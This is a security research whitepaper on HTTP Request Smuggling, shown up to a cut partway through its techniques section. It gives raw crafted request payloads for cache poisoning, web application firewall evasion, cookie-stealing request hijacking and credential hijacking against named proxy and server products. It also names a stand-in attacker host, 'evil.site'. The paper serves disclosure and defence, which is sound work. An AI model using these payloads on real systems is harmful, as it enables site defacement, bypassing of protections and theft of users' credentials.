HTTP REQUEST SMUGGLING

CHAIM LINHART (chaiml@post.tau.ac.il)
AMIT KLEIN (aksecurity@hotpop.com)
RONEN HELED
AND STEVE ORRIN (sorrin@ix.netcom.com)

A whitepaper from Watchfire

TABLE OF CONTENTS

ABSTRACT

This document summarizes our work on HTTP Request Smuggling, a new attack technique that has recently emerged. We'll describe this technique and explain when it can work and the damage it can do.

This paper assumes the reader is familiar with the basics of HTTP. If not, the reader is referred to the HTTP/1.1 RFC [4].

EXECUTIVE SUMMARY

We describe a new web entity attack technique – "HTTP Request Smuggling." This attack technique, and the derived attacks, are relevant to most web environments and are the result of an HTTP server or device's failure to properly handle malformed inbound HTTP requests.

HTTP Request Smuggling works by taking advantage of the discrepancies in parsing when one or more HTTP devices/entities (e.g. cache server, proxy server, web application firewall, etc.) are in the data flow between the user and the web server. HTTP Request Smuggling enables various attacks – web cache poisoning, session hijacking, cross-site scripting and most importantly, the ability to bypass web application firewall protection. It sends multiple specially-crafted HTTP requests that cause the two attacked entities to see two different sets of requests, allowing the hacker to smuggle a request to one device without the other device being aware of it. In the web cache poisoning attack, this smuggled request will trick the cache server into unintentionally associating a URL to another URL's page (content), and caching this content for the URL. In the web application firewall attack, the smuggled request can be a worm (like Nimda or Code Red) or buffer overflow attack targeting the web server. Finally, because HTTP Request Smuggling enables the attacker to insert or sneak a request into the flow, it allows the attacker to manipulate the web server's request/response sequencing which can allow for credential hijacking and other malicious outcomes.

WHAT IS HTTP REQUEST SMUGGLING?

HTTP Request Smuggling ("HRS") is a new hacking technique that targets HTTP devices. Indeed, whenever HTTP requests originating from a client pass through more than one entity that parses them, there is a good chance that these entities are vulnerable to HRS. For the purposes of this paper, we demonstrate HRS in three common settings: (i) a web cache (proxy) server deployed between the client and the web server (W/S); (ii) a firewall (F/W) protecting the W/S; and (iii) a web proxy server (not necessarily caching) deployed between the client and the W/S.

HRS sends multiple, specially crafted HTTP requests that cause the two attacked devices to see different sets of requests, allowing the hacker to smuggle a request to one device without the other device being aware of it.

HRS relies on similar techniques to those set out in previous white papers.[1] However, unlike HTTP Splitting, for example, to be effective HRS does not require the existence of an application vulnerability, such as a vulnerable asp page on the W/S. Instead, it is capable of exploiting small discrepancies in the way HTTP devices deal with illegitimate or borderline requests. As a result, HRS can be used successfully in significantly more sites than many other attacks.

WHAT DAMAGE CAN HRS INFLICT?

As we attempt to show, in the cache-server and W/S setting, an attacker can launch a smuggling attack in order to poison the cache server. Typically, the attacker can change the entries in the cache, so that an existing (and cacheable) page *A* would be cached under URL *B*. In other words, a client requesting page *B* would be served with the contents of page *A*. Obviously, this change of "wiring" could render a website totally unusable. Imagine what would happen if a site's homepage, http://SITE/ , always responds with the contents of http://SITE/request_denied.html. In sites that allow the client to upload his or her own HTML pages and/or images, the damage can be much worse since a hacker can point URLs in the site to his or her uploaded pages, effectively deforming the site.

In the second setting we examined, in which a web application F/W is installed before the W/S, smuggling can bypass some of the F/W's web-application defenses. This is because the F/W does not apply some of its web application security rules to the smuggled request because it does not see it, as we explain below. This enables an attacker to smuggle in malicious requests (e.g., worm-like attacks, buffer overflows, etc.), which directly compromise the W/S security. Unlike the web cache poisoning attack in the first example, where the attacked entity is the cache server, in this case the attacked entity is the W/S itself.

In the third setting, in which clients use a proxy server that shares a TCP connection to the W/S, it is possible for one client (the attacker) to send a request to the W/S with a second client's credentials. It is also possible to exploit a vulnerability in the web application (using the same fundamental vulnerability used in cross-site scripting attacks, dubbed XSS [7,8]) to steal client credentials without the need to actually contact the client, making it a potentially stronger attack than cross-site scripting.

[1] Please see references [1-3].

EXAMPLE #1: WEB CACHE POISONING (HTTP REQUEST SMUGGLING THROUGH A WEB CACHE SERVER)

Our first example demonstrates a classic HRS attack. Suppose a POST request contains two "Content-Length" headers with conflicting values. Some servers (e.g., IIS and Apache) reject such a request, but it turns out that others choose to ignore the problematic header. Which of the two headers is the problematic one? Fortunately for the attacker, different servers choose different answers. For example, SunONE W/S 6.1 (SP1) uses the first "Content-Length" header, while SunONE Proxy 3.6 (SP4) takes the second header (notice that both applications are from the SunONE family).

Let SITE be the DNS name of the SunONE W/S behind the SunONE Proxy. Suppose that "/poison.html" is a static (cacheable) HTML page on the W/S. Here's the HRS attack that exploits the inconsistency between the two servers:

```
1     POST http://SITE/foobar.html HTTP/1.1
2     Host: SITE
3     Connection: Keep-Alive
4     Content-Type: application/x-www-form-urlencoded
5     Content-Length: 0
6     Content-Length: 44
7     [CRLF]
8     GET /poison.html HTTP/1.1
9     Host: SITE
10    Bla: [space after the "Bla:", but no CRLF]
11    GET http://SITE/page_to_poison.html HTTP/1.1
12    Host: SITE
13    Connection: Keep-Alive
14    [CRLF]
```

[Note that each line terminates with a CRLF ("\r\n"), except for line 10.]

Let's examine what happens when this request is sent to the W/S via the proxy server. First, the proxy parses the POST request in lines 1-7 (in blue), and encounters the two "Content-Length" headers. As we mentioned earlier, it decides to ignore the first header, so it assumes the request has a body of length 44 bytes. Therefore, it treats the data in lines 8-10 as the first request's body (lines 8-10, in purple, contain exactly 44 bytes). The proxy then parses lines 11-14 (in red), which it treats as the client's second request. Now let's see how the W/S interprets the same payload, once it has been forwarded to it by the proxy. Unlike the proxy, the W/S uses the first "Content-Length" header: as far as it's concerned, the first POST request has no body, and the second request is the GET in line 8 (notice that the GET in line 11 is parsed by the W/S as the value of the "Bla" header in line 10). To summarize, this is how the data is partitioned by the two servers:

	1st request	2nd request
SunONE Proxy	lines 1-10	lines 11-14
SunONE W/S	lines 1-7	lines 8-14

Next, let's see which responses are sent back to the client. The requests the W/S sees are "POST /foobar.html" (from line 1) and "GET /poison.html" (from line 8), so it sends back two responses with the contents of the "foobar.html" page and the “poison.html” page, respectively. The proxy matches these

responses to the two requests it thinks were sent by the client – "POST /foobar.html" (line 1) and "GET /page_to_poison.html" (line 11). Since the response is cacheable (we assumed "poison.html" is a cacheable page), the proxy caches the contents of "poison.html" under the URL "page_to_poison.html", and *voila* - the cache is poisoned! Any client requesting "page_to_poison.html" from the proxy would receive the "poison.html" page.
A technical note: Lines 1-10 and 11-14 have to be sent in two separate packets, since SunONE Proxy doesn't pipeline requests on the same packet.

Special cases: more powerful attacks
A much more powerful defacement can be achieved if the attacked site shares its IP address with another site (under the attacker's control) – as would typically be found in a shared (virtual) hosting scenario. In such a case, the proxy server may still share the TCP connection to the "server" (identified by its IP address) even though logically the traffic may be destined to different sites. The attacker then only needs to set up his/her own site (with the same IP address of the attacked site) and use a Host header (line 9) pointing at this site (e.g. "Host: evil.site").

Another variation is using a proxy request (assuming the backend web server is willing to serve it), i.e. at line 8, and sending "GET http://evil.site/page.html ...".

Both methods enable the attacker full control over the cached content.

EXAMPLE #2: FIREWALL/IPS/IDS EVASION (HTTP REQUEST SMUGGLING THROUGH FW-1)

CheckPoint's FW-1 (tested configuration: FW-1/FP4-R55W beta) comes with Web Intelligence - a set of security features for the web application layer. These features include many kinds of static checks that are executed on each web request. For example, the HTTP worm catcher is a set of pre-defined regular expressions that detect known worms, such as "cmd.exe" in the URL (Nimda worm). Another example is the directory traversal feature: FW-1 does not allow going deeper than the root node in the URL (e.g., "/a/b/../p.html" is ok, but "/a/../../p.html" isn't.).

Web Intelligence includes a total of some 13 different security features, among them SQL injection protection and XSS protection. These defenses are implemented as signatures that are matched against the query and body parts of the HTTP request. It turns out that we can use HRS to bypass most of these defense mechanisms. We will now show how this can be done when FW-1 protects IIS/5.0.

There appears to be a bug in the way IIS/5.0 handles a POST request with a large body: strangely, IIS/5.0 silently truncates the body after 48K (49,152 bytes) whenever the request's ContentType isn't one of the expected types (for instance, an .asp resource's expected type is "application/x-www-form-urlencoded"). Thus, by sending a POST request for an .asp page with a body length of 48K+x, we can smuggle a request in the last x bytes of the body. FW-1 treats it as part of the body, whereas IIS/5.0 treats it as a new request. Using some extra tricks, we can bypass not only the checks FW-1 runs on the URL, but also those applied to the body. Let "/page.asp" be an .asp page on the web-server. Suppose we send the following packet to the server (via FW-1):

```
1     POST /page.asp HTTP/1.1
2     Host: chaim
```



```
3     Connection: Keep-Alive
4     Content-Length: 49223
5     [CRLF]
6     zzz...zzz ["z" x 49152]
7     POST /page.asp HTTP/1.0
8     Connection: Keep-Alive
9     Content-Length: 30
10    [CRLF]
11    POST /page.asp HTTP/1.0
12    Bla: [space after the "Bla:", but no CRLF]
13    POST /page.asp?cmd.exe HTTP/1.0
14    Connection: Keep-Alive
15    [CRLF]
```

[Note that each line terminates with a CRLF ("\r\n"), except for line 12.]

We shall now analyze how this packet is parsed by FW-1 and by IIS/5.0. Since the first request has a content-length of 49,223 bytes, FW-1 treats line 6 (49,152 copies of "z") and lines 7-10 (in purple, total of 71 bytes) as its body (49,152+71=49,223). FW-1 then continues to parse the second request at line 11. Notice that there is no CRLF after the "Bla: " in line 12, so the POST in line 13 is parsed as the value of the "Bla:" header, and the request ends at line 15. Thus, although line 13 contains the pattern identified with the Nimda worm ("cmd.exe"), it is not blocked, since it is considered part of a header value, not a URL (and neither part of a body, to which some security checks are also applied). Therefore, we smuggled "cmd.exe" through the scrutiny of FW-1. To complete our hack, we need to show that line 13 is parsed as a request line by IIS/5.0 (i.e., the string "/page.asp?cmd.exe" is served as a URL). Let's follow IIS/5.0's parser from line 1: the first request is a POST request for an .asp page, but it does not have the expected "Content-Type: application/x-www-form-urlencoded" header. Thus, IIS/5.0 wrongly terminates the body after 49,152 bytes, and starts parsing the second request from line 7. This request has a content-length of 30 bytes, which is exactly the length of lines 11-12 (i.e., these lines comprise the body of the 2nd request). Finally, lines 13-15 are parsed as the third request, meaning that we managed to smuggle the "cmd.exe" worm through FW-1 to IIS/5.0!

The table below summarizes how each server parses the packet:

	1st request	2nd request	3rd request
FW-1 R55W	lines 1-10	lines 11-15	-
IIS/5.0	lines 1-6	lines 7-12	lines 13-15

The above 48K smuggling trick can be used to bypass other features of Web Intelligence, not just the worm catcher, such as directory traversal, maximum URL length, XSS, URI resource and command injection.

EXAMPLE #3: FORWARD VS. BACKWARD HRS

A typical HRS attack is composed of several requests (usually at least 3), of which a certain subset is seen (i.e., parsed as actual requests) by the W/S, and a different subset is seen by the cache/firewall, as we demonstrated in the above examples.

Here is how the general case looks like (the HTTP method can of course be POST instead of GET, or a mix of the two, or maybe other methods):


```
1     GET /req1 HTTP/1.0      <-- seen by W/S and cache
2     ...
3     GET /req2 HTTP/1.0      <-- seen by W/S
4     ...
5     GET /req3 HTTP/1.0      <-- seen by cache
6     ...
```

The "..." stands for various headers and/or body data. In the two examples we provided, the W/S saw requests req1 and req2, whereas the cache/firewall saw requests req1 and req3. Request req2 was smuggled to the W/S. This type of smuggling is called *forward smuggling*. The reader can now deduce that there is also *backward smuggling*. The difference is that in backward smuggling, the W/S sees requests req1 and req3, and the cache/firewall sees req1 and req2, shown as follows:

```
1     GET /req1 HTTP/1.0      <-- seen by W/S and cache
2     ...
3     GET /req2 HTTP/1.0      <-- seen by cache
4     ...
5     GET /req3 HTTP/1.0      <-- seen by W/S
6     ...
```

In backward smuggling, request req3 is smuggled to the W/S. This type of HRS is more difficult to develop, since it is possible only in cases where the W/S replies to the first request before it receives the entire request. Typically, the cache server does not forward the req2 to the W/S before it gets a response for the first request. Since the W/S thinks request req2 is part of the first request, it usually will not respond before the cache server sends it req2. The result is potential a deadlock. However, as the following example demonstrates, this is not always the case. The following works for the DeleGate/8.9.2 cache server and IIS/6.0 or Tomcat or SunONE web-server/6.1:

This time, the trick is to send a GET request with a "Content-Length: *n*" header. DeleGate assumes the content-length of GET requests is always 0 (i.e., they have no body), but fortunately for us it still sends the original "Content-Length: *n*" header. The W/S, on the other hand, treats the request as having a body of length *n*, though it sends the response *before* receiving the body, which makes backward smuggling possible in this case. Here's the full attack (again, we assume that SITE is the W/S's DNS name, and "/poison.html" is a static cacheable HTML page on the W/S):

```
1     GET http://SITE/foobar.html HTTP/1.1
2     Connection: Keep-Alive
3     Host: SITE
4     Content-Type: application/x-www-form-urlencoded
5     Content-Length: 40
6     [CRLF]
7     GET http://SITE/page_to_poison.html HTTP/1.1
8     Bla: [space after the "Bla:", but no CRLF]
9     GET /poison.html HTTP/1.0
10    [CRLF]
```

[Again, each line terminates with a CRLF ("\r\n"), except for line 8.]

DeleGate ignores the "Content-Length: 40" header in line 5, and assumes the first request has no body. It therefore thinks the second request is "page_to_poison.html" (line 7) - this request ends at line 10 (the GET in line 9 is the value of the "Bla:" header).

The W/S treats the first request as having a body of length 32 (recall, though, that it replies before it receives the body) - this is exactly the length of lines 7-8, after the "http://SITE" prefix is stripped from the URL by DeleGate. So, the W/S parses lines 1-8 as the first request, and lines 9-10 as the second request. Its second response, to "poison.html" (line 9), is cached by DeleGate as the response to "page_to_poison.html," and once again the cache is poisoned!

A technical note: Lines 1-6 and 7-10 have to be sent in two separate packets.

EXAMPLE #4: REQUEST HIJACKING (HTTP REQUEST SMUGGLING THROUGH A PROXY SERVER)

The request smuggling technique can be modified to achieve a slightly different goal: an attacker can exploit a security problem in the site (a script/page that is vulnerable to cross site scripting) to mount an attack similar to XSS. This attack is generally more powerful than XSS because:

1. It does not require the attacker to interact with the client in any way.
2. The HttpOnly cookies and the HTTP authentication information can be stolen directly (no need to have support for TRACE in the server) thereby making this attack "worse" than a cross-site tracing attack [5].

There are some differences in the preconditions between Request Hijacking and the basic request smuggling discussed earlier:

1. Request hijacking requires the intermediate device (proxy server) to share client connections to the server (unlike web cache poisoning, request hijacking does not require the proxy server to be caching).
2. Request hijacking requires an XSS vulnerability in the web server.

Assume that /vuln_page.jsp is known to be vulnerable to XSS in the "data" parameter. Consider the following attack:

```
1     POST /some_script.jsp HTTP/1.0
2     Connection: Keep-Alive
3     Content-Type: application/x-www-form-urlencoded
4     Content-Length: 9
5     Content-Length: 204
6
7     this=thatPOST /vuln_page.jsp HTTP/1.0
8     Content-Type: application/x-www-form-urlencoded
9     Content-Length: 95
10
11    param1=value1&data=<script>alert("stealing%20your%20data:"%
      2bdocument.cookie)</script>&foobar=
```


This will be parsed by a Microsoft ISA/2000 proxy server as a single POST request whose body length is 204 bytes (lines 1-11). A Tomcat web/application server would interpret it as one complete HTTP POST request whose body length is 9 bytes (lines 1-7, including "this=that" on line 7), and one incomplete POST request, whose declared body length is 95 bytes, but with only 94 bytes provided (lines 7-11, excluding "this=that" on line 7). The first (complete) request invokes a response (which is sent by ISA to the attacker). The incomplete request is queued by Tomcat.

When ISA now receives a request from a client (e.g., a GET request), that request is forwarded to Tomcat, which consumes the first byte as a completion of the queued request and treats the rest of the data as an invalid HTTP request. Tomcat will send a response to the complete request to ISA.
The request is:

```
POST /vuln_page.jsp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

param1=value1&data=<script>alert("stealing%20your%20data:"%2bdocument.cookie)</sc
ript>&foobar=G
```

Notice that the client will receive an HTML page with malicious Javascript code in it:

```
<script>alert("stealing your data:"+document.cookie)</script>
```

But this only demonstrates how malicious Javascript can be run on the client's browser. It does not demonstrate that HttpOnly cookies and HTTP authentication information can be stolen. For that, some additional tricks are needed. As can be seen, the attacker's request directly precedes that of the victim's. Since the victim's request typically contains the data the attacker needs in the HTTP headers, the attacker can carefully compute the Content-Length to contain this data inside the data which is echoed back to the HTML stream. Once this data is in the response page, the following Javascript code can extract it (note that it used the window onload event to execute after all the page is loaded, and that it iterates over all textNodes and concatenates them into a single string, whose prefix is of interest to the attacker):

```
window.onload=function()
{
      str="";
      for(i=0;i<document.all.length;i++)
      {
            for(j=0;j<document.all(i).childNodes.length;j++)
            {
                  if(document.all(i).childNodes(j).nodeType==3)
                  {
                        str+=document.all(i).childNodes(j).data;
                  }
            }
      }
      alert(str.substr(0,300));
```

Thus, the attacker needs only to slightly modify the attack into the following:

```
POST /some_script.jsp HTTP/1.0
Connection: Keep-Alive
```



```
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Content-Length: 388

this=thatPOST /vuln_page.jsp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 577

param1=value1&data=<script>window.onload=function(){str="";for(i=0;i<document.all
.length;i%2B%2B){for(j=0;j<document.all(i).childNodes.length;j%2B%2B){if(document
.all(i).childNodes(j).nodeType==3){str%2B=document.all(i).childNodes(j).data;}}}a
lert(str.substr(0,300));}</script>
```

Notice that only 277 bytes are provided in the incomplete HTTP request, so it will consume the first 300 (an arbitrary number, per the attacker's choice) bytes from the victim's request, and echo them back into the HTML response stream that will be provided to the client. Once this stream arrives at the client's browser, the malicious Javascript code will be executed and it will crop up those 300 bytes from the HTML page and send them to the attacker. These first 300 bytes typically contain HTTP request headers such as Cookie (containing the client's cookies) and Authorization (containing the client's HTTP authentication credentials), together with the URL the client requested (that may contain sensitive information as well, including URL session tokens and sensitive information posted by the victim).

EXAMPLE #5: REQUEST CREDENTIAL HIJACKING (HTTP REQUEST SMUGGLING THROUGH A PROXY SERVER)

Another area of interest is the ability of the attacker to forcefully invoke a script (/some_page.jsp) with a client credentials. This attack is similar in effect to the Cross-Site Request Forgery attack [6], yet it is more powerful because the attacker is not required to interact with the client (victim).

The attack is as follows:

```
POST /some_script.jsp HTTP/1.0
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Content-Length: 142

this=thatGET /some_page.jsp?param1=value1&param2=value2 HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Foobar:
```

When the client sends a request, such as:

```
GET /mypage.jsp HTTP/1.0
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy
```

Tomcat will glue this to the queued incomplete request, and together, it will have:

```
GET /some_page.jsp?param1=value1&param2=value2 HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Foobar: GET /mypage.jsp HTTP/1.0
```



```
Cookie: my_id=1234567
Authorization: Basic ugwerwguwygruwy
```

Now a complete request, it will invoke the script /some_page.jsp and return its results to the client. If this script is a password change request, or a money transfer to the attacker's account, then this may potentially incur serious damage to the client.

HRS TECHNIQUES

So far, we have seen (and exploited) 3 anomalies in HTTP request parsing:

1. Two different Content-Length headers (examples #1, #4 and #5)
2. GET request with Content-Length (example #3)
3. The 48KB anomaly in IIS/5.0 (example #2)

There are several more such anomalies that we found effective. In most cases, a pair of a proxy/cache/firewall server and a web server can be attacked using one or more techniques, but usually not all techniques apply to a given pair.

Below, we list the anomalies (and techniques) for HRS with the pairs that we found vulnerable to them. Note that these are partial results (i.e., for many techniques, we didn't test all pairs). This means that there are likely to be many more pairs that are vulnerable to HRS than what we show below.

1. **Double Content-Length header**
   The anomaly in this case is obvious – the attacker sends a request with two Content-Length headers[2]. If the cache server and the web server do not use the same header, then HRS is possible.

   a. The cache server uses the last Content-Length header, while the web server uses the first Content-Length header (examples #1, #4 and #5). The following cache servers were observed to use the last Content-Length header:
   - Microsoft ISA/2000
   - Sun Microsystems SunONE 3.6 SP4

   The following web servers were observed to use the first Content-Length header:
   - Jakarta Tomcat 5.0.19 (Coyote/1.1)
   - Tomcat 4.1.24 (Coyote/1.0)
   - Sun Microsystems SunONE web server 6.1 SP1

   All 6 combinations of cache servers (2) and web servers (3) were tested, and all were shown to be vulnerable to the attack. Of particular interest is the combination of Sun Microsystems SunONE 3.6 SP4 proxy server with the same vendor's SunONE web server 6.1 SP1.

   b. As a variant of 1a, in some cases a forward smuggling attack fails, and only a backward smuggling attack is feasible. This is the case with a popular commercial cache appliance (whose identity we are prevented from disclosing; denoted here as PCCA) and Jakarta Tomcat 5.0.19 (Coyote/1.1). While PCCA does indeed use the last Content-Length header, it will forward

[2] HTTP/1.1 does not allow two Content-Length headers (as can be understood from [4] section 4.2 – since Content-Length is not defined to have a list of values).

requests with body on a separate connection to the web server, thus rendering the attack described in 1a useless. The only way to circumvent this behavior is to send a request without body, namely to send the second Content-Length header containing a value of "0." However, this now poses a new problem: we now send a request with two Content-Length headers, the first with some positive value, and the second with "0." The web server (which uses the first Content-Length value) should therefore assume that the request is not complete, thus we end up with a deadlock. However, it turns out that some web servers, namely IIS/6.0 and Tomcat, will in fact respond to a request to a static resource (e.g., /index.html) before the body is fully received. This can be used for backward smuggling, as indeed we managed to demonstrate with PCCA and Tomcat. The attacker needs to send the first request (to some arbitrary static page) with two Content-Length headers. The first one must have the length of the second request, as will be seen by the web server (i.e., as is forwarded by the cache server). The second Content-Length of the first request must have a value of "0." The second request is the request that designates the resource whose content will be used for spoofing. Then, the third request designates the resource to be spoofed. In this way, the content of the resource designated in the second request will be cached for the resource URL designated in the third request.

Here's an attack example (assuming PCCA and Tomcat):

```
1     GET http://SITE/static_foobar.html HTTP/1.0
2     Content-Length: 71
3     Content-Length: 0
4     Connection: Keep-Alive
5
6     GET http://SITE/page_to_poison.html HTTP/1.0
7     Host: SITE
8     Connection: Keep-Alive
9     GET /poison.html HTTP/1.0
10
```

PCCA uses the last Content-Length header (line 3), and therefore forwards lines 1-5 to the server (Tomcat). Tomcat parses the request, uses the first Content-Length header (line 2), and thus expects 71 more bytes. However, since the resource requested (/static_foobar.html) is a static one, Tomcat also immediately returns the page to PCCA. PCCA forwards this response to the attacker and sends the next request it interprets from the input stream – in this case, lines 6-10 (a request for /page_to_poison.html). Now Tomcat consumes 71 bytes (lines 6-8, but notice that PCCA strips the "http://SITE" from line 6 when forwarding it to the web server), and thus Tomcat sees the second request as lines 9-10. Therefore, Tomcat responds with the content of poison.html. This is matched by PCCA to the request of page_to_poison.html, and the poisoning is complete.

c. The cache server uses the first Content-Length header, while the web server uses the last Content-Length header. The following cache servers were observed to use the first Content-Length header:

- Squid 2.5stable4 (Unix)
- Squid 2.5stable5 (NT port)
- Oracle WebCache 9.0.2

The following web server was observed to use the last Content-Length header:

- BEA Systems WebLogic 8.1 SP1

All three combinations were tested and shown vulnerable to the HRS attack.

2. **A request with both "Transfer-Encoding: chunked" header and a "Content-Length: …" header**
Apache 2.0.45 was found to react interestingly to this anomaly. A request which arrives with both headers is assumed to have a chunked-encoded body.[3] This body is read in full by Apache, which reassembles it into a regular (non-chunked) request. For some reason, Apache does not add its own Content-Length header, nor does it replace an existing Content-Length header (if there is one). The net result is that the request is forwarded with the original Content-Length header (if there is one), without the "Transfer-Encoding: chunked" header, and with a body which is the aggregation of all the body chunks in the original request. Obviously, this phenomenon may lend itself to request smuggling by sending a "Content-Length: 0" header and a chunked body containing the smuggled HTTP request.

   The attack was shown to succeed with Apache 2.0.45 and the following web servers:
   - Microsoft IIS/6.0 and 5.0
   - Apache 2.0.45 (as a web server) and Apache 1.3.29
   - Jakarta Tomcat 5.0.19 (Coyote/1.1), Tomcat 4.1.24 (Coyote/1.0)
   - IBM WebSphere 5.1 and WebSphere 5.0
   - BEA Systems WebLogic 8.1 SP1
   - Oracle9iAS 9.0.2
   - Sun Microsystems SunONE web server 6.1 SP1

   It should be noted that Apache's behavior is quite bizarre, since the request it creates by default lacks the Content-Length header, and thus will cause problems in most web servers (which assume Content-Length 0 in such case). That is, when a normal request with Transfer-Encoding: chunked is sent through Apache, it will arrive to the web server as a request with normal body, but without Content-Length, which will cause most web servers to ignore the body altogether.

3. **The "Double CR in an HTTP header" technique (and the "header SP" technique)**
This technique exploits an anomaly in HTTP request parsing. A header line of a single CR, followed by a CRLF sequence is treated by some entities as an HTTP header line, while other entities treat this as the end of headers marker.[4]

   In order to turn this technique into a successful attack, we need to make use of another technique. Here, we make use of the "header SP" anomaly. The "header SP" technique can be used to exploit the different ways some entities treat HTTP headers that have spaces between the header name and the colon character.

   Some entities treat "foo SP :" as a header named "foo," while others treat it as a header named "foo" ("foo" appended with SP). The attack we describe below will make use of both techniques.

[3] HTTP/1.1 does not allow a request with both "Content-Length" and "Content-Encoding: chunked", see [4] section 4.4 – "Messages MUST NOT include both a Content-Length header field and a non-identity transfer-coding."
[4] HTTP/1.1 does not allow such header lines in HTTP requests (see [4] section 4.2 – a line starting with CR does not match the format of message-header).

Let us start with the technique of using a request with a double CR in a header line:

Specifically, PCCA treats this request as having a "CR" header and thus does not terminate the headers block. IIS/5.0 does terminate the headers block on a certain condition, which we'll describe later.
The "header SP" technique is needed in order to overcome PCCA's tendency to send requests with body over a new TCP connection, as well as IIS's rejection of requests with double Content-Length headers.

The basic idea attack is as follows:

```
1     GET http://SITE/foobar.html HTTP/1.0
2     Connection: keep-alive
3     [CR]
4     GET /poison.html?aaaa … aaa [2048 times] HTTP/1.0
5     Content-Length: N
6     Content-Length : 0
7
8     GET http://SITE/page_to_poison.html HTTP/1.0
9
```

Where *N* is the length of the request for "http://SITE/page_to_poison.html" forwarded by PCCA (lines 8-9), as experienced by the web server.

PCCA will treat lines 1-7 as the first request. It is a GET request with Content-Length 0 (note that PCCA parses two Content-Length headers: one in line 5, and one in line 6. The header of line 6, which incorporates the "header SP" technique is non-standard because there's an additional SP after the header name. However PCCA still treats this line as a Content-Length header.[5] Since PCCA uses the last value, it uses Content-Length 0 in this case). Therefore, PCCA basically sends lines 1-7 as a single HTTP request to the web server.

Note that PCCA changes the CR CRLF into CR CR CRLF. This doesn't affect the attack.
IIS/5.0 parses this as a first request (lines 1-3), followed by a partial second request (lines 4-7). The first request is terminated by CRLF CR CR CRLF. An interesting behavior of IIS/5.0 is that it scans the next datum on the TCP connection in an attempt to interpret it as an HTTP header. Thus, if in the next 2048 bytes it finds a colon character, then the CRLF CR CR CRLF sequence is not treated as the "end of headers" mark. That is why we need the 2048 "a" padding. Since this issue is taken care of, and IIS does not see a colon in the buffer, it treats lines 4-7 as a new HTTP request (it, of course, sends back the response to the first request). Lines 4-7 are interpreted as a GET request with Content-Length *N* (line 6 is ignored since IIS does not treat Content-Length followed by SP as a Content-Length header[6]). Now, IIS waits for the request to complete.

Back at the PCCA, the response for the first GET request was received, and thus PCCA can forward the next request as it understands it (for page_to_poison.html), namely lines 8-9.

[5] A header name followed by SP is not allowed in HTTP/1.1 (see [4] section 4.2 – a field name is a token, which may not contain SP). Also, as an HTTP request header (i.e. as understood by PCCA), line 4 is illegal (again, see [4] section 4.2 – a field name is a token, which may not contain SP).
[6] A header name followed by SP is not allowed in HTTP/1.1 (see [4] section 4.2 – a field name is a token, which may not contain SP).

IIS now receives the missing *N* characters of the second request's body; the request (for poison.html) can now be fully parsed and responded to. PCCA receives the content of /poison.html in response to the request for /page_to_poison.html. The web cache poisoning is now complete.

This technique was tested with PCCA and IIS/5.0, however, a lot can be learned regarding how to practically apply the attack on other pairs, overcoming various obstacles.

4. **GET Request with Content-Length (backward smuggling)**
The anomaly here is in the fact that some entities assume that a GET request does not have a body, even when a Content-Length header is provided.[7] The cache server in this case (DeleGate/8.9.2) assumes that a GET request with a Content-Length header still does not have a body, and thus it forwards the request (without the body) to the web servers. Some web servers will actually serve the content of a static page without receiving all the requests first. In such cases, cache poisoning is possible (if the web server waits until all the request arrives, then a deadlock occurs).

   The web servers that display this behavior are:
   - Microsoft IIS/6.0
   - Jakarta Tomcat 5.0.19 (Coyote/1.1), Tomcat 4.1.24 (Coyote/1.0)
   - Sun Microsystems SunONE web server 6.1 SP1

   Here is an example of an attack (see also example #3 above):

```
1     GET http://SITE/static_foobar.html HTTP/1.1
2     Connection: Keep-Alive
3     Host: SITE
4     Content-Type: application/x-www-form-urlencoded
5     Content-Length: 40
6
7     GET http://SITE/page_to_poison.html HTTP/1.1
8     Foo: GET /poison.html HTTP/1.0
9
```

   DeleGate assumes that the GET request does not have a body. Therefore, it transmits lines 1-6 as a complete request to the W/S. The W/S serves back /static_foobar.html, but also waits for the request to complete (i.e., for additional 40 bytes to be sent by DeleGate). Having seen the first response, DeleGate now reads the next request from the client, which are lines 7-9. It forwards this to the W/S.

   The W/S reads the first 40 bytes and silently discards them. These first 40 bytes are exactly "GET /page_to_poison.html HTTP/1.1 CRLF Foo:," which the proxy forwards to the W/S at the beginning of the second request. Therefore, the W/S will discard this and read the second request as GET /poison.html. This page will be returned to DeleGate, so DeleGate will see the contents of /poison.html in response to a request for /page_to_poison.html.

[7] The HTTP/1.1 RFC is a bit unclear regarding whether it is indeed allowed to send a GET request with a body (see [4] section 4.3, and section 9.3). However, it is does specify the need to read the body of any request, see [4] section 4.3 – "A server SHOULD read and forward a message-body on any request; if the request method does not include defined semantics for an entity-body, then the message-body SHOULD be ignored when handling the request."

This attack can succeed with DeleGate/8.9.2 and all web servers mentioned above (IIS/6.0, Tomcat and SunONE).

5. The CRLF SP CRLF trick

This technique uses the less implemented feature of HTTP, which is "header continuation lines." According to the HTTP standard, a header line starting with SP is actually a continuation of the previous header line.[8] However, some entities do not implement this well in their HTTP parsers, hence the anomaly.

Entities that treat CRLF SP CRLF as a continuation of the previous header:

- Checkpoint FW-1 kernel R55W beta (Web Intelligence) – according to Checkpoint, this problem is not reproducible in R55W
- Squid (under some conditions)

Web servers that treat CRLF SP CRLF as an end of headers mark:

- Microsoft IIS/5.0

a. A straightforward attack

```
1  POST /dynamic_foobar.asp HTTP/1.0
2  Connection: Keep-Alive
3  Content-Type: application/x-www-form-urlencoded
4  [SP]
5  GET /malicious_url HTTP/1.0
6
```

FW-1 will send lines 1-6 to the web server (IIS/5.0). It will treat line 4 as a continuation of line 3, and will treat line 5 as an HTTP request header of the request.[9] Since FW-1 does not apply its signature tests to HTTP headers, it will miss strings such as "cmd.exe" in this line (i.e., the worm catcher feature, the XSS signatures and the SQL injection signatures will not be tested on this data).

IIS/5.0 will interpret this input as two requests: lines 1-4 are the first request (a POST request with zero length body which is terminated by a CRLF SP CRLF sequence), and lines 5-6 are the second request (GET request, with a malicious URL).

Therefore, FW-1's defenses (e.g., worm catcher, XSS and SQL injection defenses) will not prevent URLs in the second request to arrive at the web server.

b. An attack variant that requires some padding:

